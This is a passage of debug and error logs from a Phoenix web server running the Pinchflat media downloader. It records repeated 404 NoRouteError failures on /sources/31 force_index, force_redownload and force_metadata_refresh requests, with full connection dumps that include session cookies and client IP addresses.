"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0e1yrGASjL0ADDLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, h (truncated) 04:53:45.891 [info] GET /sources/31/force_index 04:53:45.892 [debug] QUERY OK source="settings" db=0.3ms idle=154.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.893 [debug] QUERY OK source="settings" db=0.2ms idle=154.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.893 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.894 [error] #PID<0.139223.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 16) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139223.0>, params: %{}, path_info: ["sources", "31", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0fNfDtpA75kADDLi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat (truncated) 04:53:45.949 [info] GET /sources/31/force_metadata_refresh 04:53:45.950 [debug] QUERY OK source="settings" db=0.3ms idle=157.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.951 [debug] QUERY OK source="settings" db=0.4ms idle=157.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.951 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.952 [error] #PID<0.139224.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 17) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139224.0>, params: %{}, path_info: ["sources", "31", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0fbY8494ohsADDMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFyS (truncated) 04:53:46.040 [info] GET /sources/31/force_index 04:53:46.041 [debug] QUERY OK source="settings" db=0.3ms idle=198.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.042 [debug] QUERY OK source="settings" db=0.3ms idle=149.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.042 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.043 [error] #PID<0.139225.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 18) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139225.0>, params: %{}, path_info: ["sources", "31", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0fxFIvfVyuMADDMi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: 